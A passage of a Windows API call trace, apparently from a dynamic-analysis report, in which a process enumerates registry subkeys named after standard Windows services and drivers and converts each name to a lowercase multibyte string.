WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0249.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.107] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0249.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0249.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.108] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0249.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0249.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.108] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0249.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0249.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.108] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0249.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0249.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.108] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0249.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0249.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.109] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0249.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0249.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.109] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0249.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0249.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.109] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0249.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0249.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0249.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0249.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0249.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0249.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0249.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0249.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0249.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0249.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0249.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0249.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0249.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0249.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0249.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0249.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0249.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0249.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0249.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0249.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0249.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0249.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0249.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0249.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0249.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0249.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0249.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0249.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0249.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0249.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: 